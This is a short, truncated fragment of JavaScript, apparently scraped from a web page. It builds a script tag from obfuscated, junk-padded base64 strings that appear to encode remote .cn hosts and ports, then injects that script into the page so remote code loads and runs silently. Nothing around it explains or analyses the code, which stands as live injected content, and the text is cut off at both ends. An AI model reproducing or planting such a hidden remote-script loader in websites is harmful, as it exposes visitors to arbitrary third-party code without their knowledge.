s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMllM0EllMkYllMkZhLmFzaGNucS5jbiUzQTg4OTE=','d3NzJTNBJTJGJTJGYS5555a2toanMuY24lM0E55NTM1','162092',window,document,['l','5']);}:function(){};